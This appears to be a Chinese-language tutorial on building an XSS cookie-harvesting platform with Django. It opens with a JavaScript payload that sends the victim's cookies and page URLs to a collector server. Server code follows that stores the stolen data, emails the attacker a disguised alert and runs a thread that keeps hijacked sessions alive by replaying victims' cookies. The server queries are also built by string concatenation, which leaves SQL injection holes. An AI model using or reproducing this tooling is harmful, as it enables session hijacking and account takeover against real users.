var website = "http://127.0.0.1"; (function() { (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {    try {      return document.location.href    } catch(e) {      return ''    }  })()) + '&toplocation=' + escape((function() {    try {      return top.location.href    } catch(e) {      return ''    }  })()) + '&cookie=' + escape((function() {    try {      return document.cookie    } catch(e) {      return ''    }  })()) + '&opener=' + escape((function() {    try {      return (window.opener && window.opener.location.href) ? window.opener.location.href: ''    } catch(e) {      return ''    }  })());})();

这段代码非常简单，就是通过javascript获取有用信息，然后通过访问xss平台将信息作为GET参数传给服务器。

注意：这里使用AJAX可能会出现CORS跨域问题。

先给出关键代码，其他都是Django相关的内容，这里不做相关讨论。

"""根据url值动态返回相应的javascript代码"""import pymysql,osfrom user.safeio import re_checkdef get_info(url):  if not re_check(url,'num_letter'):    return 'default'  db = pymysql.connect('localhost','root','root','xss')  cursor = db.cursor()  cursor.execute("Select name From projects Where url='"+url+"'")  js_name = cursor.fetchone()[0]  if js_name == None:    return 'default'  else:    return (js_name)def get_js_value(url):  js_name = get_info(url)  file = '\\script\\'+js_name + '.js'  js_value = open(os.getcwd()+file).read()  js_value = js_value.replace('<-1234->',url)  return js_value

import pymysql,timefrom .getscript import get_infodef connect():  try:    db = pymysql.connect('localhost', 'root', 'root', 'xss')    cursor = db.cursor()    return db,cursor  except:    print('连接数据库失败，正在尝试重新连接')    connect()def put_letter(requests,url):  now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))[2:]  if 'HTTP_X_FORWARDED_FOR' in requests.META:    ip = requests.META['HTTP_X_FORWARDED_FOR']  else:    try:      ip = requests.META['REMOTE_ADDR']    except:      ip = '0.0.0.0'  ip = ip.replace("'","\'")  origin = requests.GET.get('location','Unknown').replace("'","\'")  software = requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")  method = requests.method.replace("'","\'")  data = requests.GET.get('cookie','No data').replace("'","\'")  keep_alive = requests.GET.get('keepsession','0').replace("'","\'")  list = [now_time,ip,origin,software,method,data,keep_alive]  put_mysql(list,url)def put_mysql(list,url):  db,cursor = connect()  name = get_info(url)  cursor.execute("Select user From projects Where url='"+url+"'")  user = cursor.fetchone()[0]  m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"  m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])  cursor.execute(m_query)  db.commit()  db.close()def get_letters(username):  db, cursor = connect()  m_query = "SELECT * FROM letters WHERE user = '{}'"  m_query = m_query.format(username)  cursor.execute(m_query)  result_list = cursor.fetchall()  return result_list

既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台，我们只需在服务器接受数据并保存即可。

我们可以为我们的平台编写新的功能以完善我们的平台，如邮件提醒，cookie活性保持等

#coding=utf-8'''邮件发送'''import smtplibfrom email.mime.text import MIMETextfrom email.utils import formataddrmy_sender='xxxx'my_pass = 'xxxx'def send_mail(user_mail):  try:    print(user_mail)    msg=MIMEText('您点的外卖已送达，请登录平台查询','plain','utf-8')    msg['From']=formataddr(["XSS平台",my_sender])    msg['To']=formataddr(["顾客",user_mail])    msg['Subject']="您点的外卖已送达，请登录平台查询"    server=smtplib.SMTP_SSL("smtp.qq.com", 465)    server.login(my_sender, my_pass)    server.sendmail(my_sender,[user_mail,],msg.as_string())    server.quit()  except Exception:    pass

'''使用独立于主线程的其他线程来保持通用项目的cookie信息'活性'默认保持一个小时的活性'''import requests,queue,time,pymysqlCookie_Time = 1def decrease(time,number):  if time < number:    time = '0'+str(time)  else:    time = str(time)  return timedef count_time(now_time):  global Cookie_Time  year = int(now_time[0:2])  month = int(now_time[3:5])  day = int(now_time[6:8])  hours = int(now_time[9:11])  if hours < Cookie_Time:    if day == 1:      if month == 1:        month=12        year -= 1      else:        day=30        month -= 1    else:      day -= 1      hours += 19  else:    hours -= 5  hours = decrease(hours,10)  day = decrease(day,10)  month = decrease(month,10)  year = decrease(year,10)  dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:]  return dec_timedef create_queue():  Cookie_queue = queue.Queue()  now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))[2:]  dec_time = count_time(now_time)  m_query = ("SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'").format(dec_time)  db = pymysql.connect('127.0.0.1','root','root','xss')  cursor = db.cursor()  cursor.execute(m_query)  return_list = cursor.fetchall()  for x in return_list:    Cookie_queue.put(x)  return Cookie_queuedef action():  while True:    time.sleep(60)    task_queue = create_queue()    while not task_queue.empty():      tasks = task_queue.get()      url = tasks[1]      ua = tasks[0]      cookie = tasks[2]      headers = {'User-Agent': ua, 'Cookie': cookie}      try:        requests.get(url, headers=headers)      except:        pass

注意这里需要使用独立于django主线程的子线程，比如我在manager.py里添加了这么一段代码：

import threadingfrom xssplatform.keep_alive import actionclass keep_Thread(threading.Thread):  def __init__(self):    super(keep_Thread,self).__init__()  def run(self):    action()if __name__ == '__main__':  th = keep_Thread()  th.start()

4) 最后

其实看起来高大上的XSS平台原理就那么简单，真正难的部分是关于XSS跨站脚本的编写。

此项目已开源于 Github ，有任何问题可以提交issue，我会在第一时间进行回复。

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持脚本之家。
